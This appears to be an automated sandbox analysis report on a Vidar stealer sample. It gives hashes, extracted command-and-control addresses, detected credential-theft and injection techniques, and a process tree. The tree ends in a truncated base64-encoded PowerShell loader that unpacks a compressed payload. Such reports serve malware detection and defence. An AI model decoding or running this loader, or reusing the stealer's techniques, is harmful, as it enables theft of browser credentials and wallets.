Analysis
-
max time kernel
130s -
max time network
125s -
platform
windows11-21h2_x64 -
resource
win11-20250619-en -
resource tags
arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system -
submitted
30/06/2025, 17:46
Static task
static1
Behavioral task
behavioral1
Sample
5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral2
Sample
5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe
Resource
win11-20250619-en
General
-
Target
5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe
-
Size
951KB
-
MD5
600623ba27769989d981904debcc3774
-
SHA1
08b03982c2c7fe5b35f1379bca1e8832cb294764
-
SHA256
5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd
-
SHA512
42ede2b6dd77ab72afa1449e5bc2710c74e586c1468126814787c0b7ad6bfe69f6c0c58cc7b212594d217146c47c89af4f890464f726648ca9f0ea648a739328
-
SSDEEP
12288:G6yQn1ME0VKFY8eoVEaXltnHGsdCBh46dV51satxZ7YT928nIpSm8satxZ7YT92l:puE0Vsb8ImfhRsatx428Issatx428I
Malware Config
Extracted
vidar
14.4
5838abba2c7ca0756153b41aab8534b5
https://t.me/q0l0o
https://steamcommunity.com/profiles/76561199872233764
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/137.0.0.0 Safari/537.36 OPR/122.0.0.0
Signatures
-
Detect Vidar Stealer 39 IoCs
resource yara_rule behavioral2/memory/4216-0-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-1-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-2-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-11-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-12-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-17-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-18-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-72-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-94-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-95-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-98-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-102-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-103-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-104-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-108-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-112-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-113-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-114-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-115-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-116-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-119-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-123-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-124-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-125-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-129-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-133-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-134-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-135-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-564-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-640-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-643-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-646-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-647-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-651-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-652-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-653-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-654-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-655-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 behavioral2/memory/4216-660-0x0000000000400000-0x0000000000439000-memory.dmp family_vidar_v7 -
Vidar family
-
Uses browser remote debugging 2 TTPs 3 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
pid Process 5976 msedge.exe 1740 msedge.exe 3360 msedge.exe -
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4196 set thread context of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe File opened for modification C:\Windows\SystemTemp msedge.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MSBuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString MSBuild.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 436 timeout.exe -
Enumerates system info in registry 2 TTPs 6 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133957791962702241" chrome.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry msedge.exe -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3625340254-1625357543-1797847221-1000\{BF6621F9-9CEB-42B6-BE0A-D50EA0E53548} msedge.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 5032 powershell.exe 4216 MSBuild.exe 4216 MSBuild.exe 5032 powershell.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 5064 chrome.exe 5064 chrome.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 5032 powershell.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe 4216 MSBuild.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
pid Process 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 3360 msedge.exe 3360 msedge.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
description pid Process Token: SeDebugPrivilege 5032 powershell.exe Token: SeShutdownPrivilege 5064 chrome.exe Token: SeCreatePagefilePrivilege 5064 chrome.exe Token: SeShutdownPrivilege 5064 chrome.exe Token: SeCreatePagefilePrivilege 5064 chrome.exe Token: SeShutdownPrivilege 5064 chrome.exe Token: SeCreatePagefilePrivilege 5064 chrome.exe Token: SeShutdownPrivilege 5064 chrome.exe Token: SeCreatePagefilePrivilege 5064 chrome.exe -
Suspicious use of FindShellTrayWindow 27 IoCs
pid Process 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 5064 chrome.exe 3360 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4196 wrote to memory of 4216 4196 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe 81 PID 4216 wrote to memory of 5064 4216 MSBuild.exe 84 PID 4216 wrote to memory of 5064 4216 MSBuild.exe 84 PID 4216 wrote to memory of 5032 4216 MSBuild.exe 85 PID 4216 wrote to memory of 5032 4216 MSBuild.exe 85 PID 5064 wrote to memory of 5060 5064 chrome.exe 86 PID 5064 wrote to memory of 5060 5064 chrome.exe 86 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 4376 5064 chrome.exe 88 PID 5064 wrote to memory of 5092 5064 chrome.exe 89 PID 5064 wrote to memory of 5092 5064 chrome.exe 89 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91 PID 5064 wrote to memory of 5956 5064 chrome.exe 91
Processes
-
C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe"C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4196 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4216 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:5064 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd85b3dcf8,0x7ffd85b3dd04,0x7ffd85b3dd104⤵PID:5060
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1928,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1924 /prefetch:24⤵PID:4376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1428,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2200 /prefetch:114⤵PID:5092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2360,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3044 /prefetch:134⤵PID:5956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2940,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3076 /prefetch:14⤵PID:4508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2932,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3064 /prefetch:14⤵PID:4532
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4032,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4052 /prefetch:94⤵PID:4884
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4536,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4596 /prefetch:14⤵PID:1104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4728,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5112 /prefetch:144⤵PID:1716
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5256,i,1547847191725867308,6323275959761669606,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5420 /prefetch:144⤵PID:4408
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JAB7ADAAeAAxAGEAMgBiADMAYwB9AD0AWwBTAHkAcwB0AGUAbQAuAFIAYQBuAGQAbwBtAF0AOgA6AG4AZQB3ACgAKQA7ACQAewAwAHgANABkADUAZQA2AGYAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwANgA4ACwAOQA3ACwAMQAxADYALAAxADAAMQApAC0AagBvAGkAbgAnACcAKQA6ADoAbgBlAHcAKAApADsAJAB7ADAAeAA3AGcAOABoADkAaQB9AD0AJABuAHUAbABsADsAJAB7ADAAeABqADAAawAxAGwAMgB9AD0AQAAoACkAOwAkAHsAMAB4AG0AMwBuADQAbwA1AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMQAxACwAOQA4ACwAOQA5ACwAOQA3ACwAMQAxADYALAAxADAANQAsADEAMQAxACwAMQAxADAAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AHAANgBxADcAcgA4AH0APQAxAC4ALgAxADAAfAAmACgAWwBjAGgAYQByAFsAXQBdACgANwAwACwAMQAxADEALAAxADEANAAsADYAOQAsADkANwAsADkAOQAsADEAMAA0ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACkALQBqAG8AaQBuACcAJwApAHsAJAB7ADAAeAAxAGEAMgBiADMAYwB9AC4ATgBlAHgAdAAoACkAfQA7ACQAewAwAHgAcwA5AHQAMAB1ADEAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwAOAAwACwAMQAxADQALAAxADEAMQAsADkAOQAsADEAMAAxACwAMQAxADUALAAxADEANQApAC0AagBvAGkAbgAnACcAKQB8ACYAKABbAGMAaABhAHIAWwBdAF0AKAA4ADMALAAxADAAMQAsADEAMAA4ACwAMQAwADEALAA5ADkALAAxADEANgAsADQANQAsADcAOQAsADkAOAAsADEAMAA2ACwAMQAwADEALAA5ADkALAAxADEANgApAC0AagBvAGkAbgAnACcAKQAtAEYAaQByAHMAdAAgADMAOwAkAHsAMAB4AHYAMgB3ADMAeAA0AH0APQBbAFMAeQBzAHQAZQBtAC4ARwBDAF0AOgA6AEcAZQB0AFQAbwB0AGEAbABNAGUAbQBvAHIAeQAoACQAZgBhAGwAcwBlACkAOwAkAHsAMAB4AHkANQB6ADYAYQA3AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMAA5ACwAMQAxADEALAAxADEANAAsADEAMAAxACwAMQAwADYALAAxADEANwAsADEAMQAwACwAMQAwADcAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AGIAOABjADkAZAAwAGUAMQB9AD0AQAB7AGYAYQBrAGUAPQAnAGQAYQB0AGEAJwA7AG0AbwByAGUAPQAnAHMAdAB1AGYAZgAnAH0AOwAkAGEAPQA1ADAANgA0ADsAJABiAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADcARQAzADgALgB0AG0AcAAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAbgBFAHcALQBvAEIAagBFAEMAVAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQBbAGMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBCAEEAUwBFADYANABzAHQAcgBpAG4ARwAoACcAcgBWAFgAZgBiADkAbwB3AEUASAA3AFAAWAArAEUAeABIAGgATABKAG8AQQB6AFEAZgBoAFIARgBLAGcAMwB0AFYAcQBuAFQATwBtAEIAYgBWADgAUwBEAFMAUQA0AFMAegBiAEUAagB4ADQARwB3AHcAdgA4ACsASgB6AEUAdABhAGIATwBwAFYAUABNAEQAdgBvAHQAOQA5ADkAMwBIAGQAeQBlAC8AUgBqADkAWABxADYAKwBMAFcAKwBxAHYAUAByAHcAegBtAG8AawBrAFEAawA3AEMAQwBKAEMARABQAG8ASgBzAEQAWQBrAEUAdwArAGYAbwB6AGsAQgBxAE4AYgAxAFUAQwBHAEIAUABMAGgAUgBuAFEARQBtAGMAZwBLACsAKwBtADUAVgA3AEwAZgBTAFEAMQBXAHAAUAB1AEMAUgAwAEQAQgA1AG4AZgBtAEwAcwAwAEQAbwBJAEsAYQBpAEEAZgBYAEMATABTAHQAUwAxAEQARwBQAGcAKwA2ADMASgBKAGwAYgBSACsAZQA4AFEARgBpAEUATABaAGMAZwBaAE8AbQAwAFkAYQBSAEsAeQBKAFIAcAB2AEUAZwBsAFIALwA5AEIAcABqADEASQBtAEYAVQByADcAawBrAGsAUQBQAEIANgBEAFcASQBVAGUASgBIADAAagBUAHUAYwAwADkASgBCAEgAUwBaAEsAZwBtADUASwBNAEsAaQBHAFIASwBBADIAWgBSAEEAUABIAHoAbQB6AGIANwB1AEMAegAzAE8AagBaAE4AbgBiAEwATAArAC8AeABzAEQAQQA2AE4AagA0AHYAagBEAGQAMgB2AHcAaQBlAEQAaQBtADkAagBHAEkAdQBwAE4AbgA0AEIAWQBJAEIANwBYAFkAYQAxAGsAdwBSAGwAUQBvAEgATQBvAFgAUABrAEMAcgBqAFcAZwByADAASgBRAFoAMgBMAGIAZwBxAEoARABFAEwAdQBBAHoAUABPAGEAZABvAGcAdwB2AHYAdAAzAFYARQB5AGkATABRAHAAVAB5AEIAVAA0AFQANQBGAEUAeQBOAGsAVgBuAEgAMQAvAFUAOQBGAEQASQBsAGQARQBBAHAAOQA4ADYAegArADAAeABZAEcALwB2AHkAeQBvADIAVQAyAC8AegBvAFkAbgArAEkAVQBJAEsAbQAvAHgAawBpAEwAagBZADEAUwBQAE8ATgBoAE8AbgBzAEEAWQB1AG4AVwBwAG4AagA4AFQAUQByAGgAUwBqAEIAawA3AFcAOAB2AG0AbgByAGYAOABCAGQAMABEAFEASgBMAGwAVQBuAGkAZABUAEwARwA5AFEAbABYAGcARAAvAHcAbgB5AEIAVQBLADQAQQBOAFcAVQBqADkAZQBkAEoAbQBBAFQASwA4AGYAOAB1AGwAdgBiAEoAMwBwAGkAWABCADkANwBlADkAegBXACsAbgBnAGkATgBWADEAQQBaAGwAZAAwAFoANwA5AFgAdwByAFgASgBRADgAcQBXAGoAQQArAGUAdwBtAFEAZgBiAHMANgAyADcASABXADcAUAA4AFkATABRAEIASABDAHMAYwArAGMAcgBYAEoAaQBCADQANQBSAGgANwBWAHMAMQBqAFoAWQBBAG0AUwBwAE8AeABkAFgAKwA0ADgAUwBSADgANgBnAGIAQQAzAHcAUQBpADQAdgBLAEwATAA5ADkAQgBXAHcAcABBADIAeABuAFgAVABXAGMAVwB6AHYAcgBxAEUAMQA1AFAAYgB1AEsASABGAFcAUgA3AHcANABIAEoAcgBEADYAbABVAHAAMgA5ADQARQBGAGUAOQA1AFgAOABhACsAZQBOAEYARwBBAEkAMgB4AHEARABRAC8AcgA2AE4AbABGADgAMwBEAHIASwBKAEIAMQBBAFYASQB6AEcAVABtAE0ALwA1AGgAdABEAHIAQgArAE4AawBDAGUAdQBiADQAcABhAHoAawA4AE8ANgA4AFcAUwBqAG8AMQAzAFYAZwBWAHkAMQBZADQAVgBmADkAUQBqAEkAcABRADgAawBWAEMAMQBk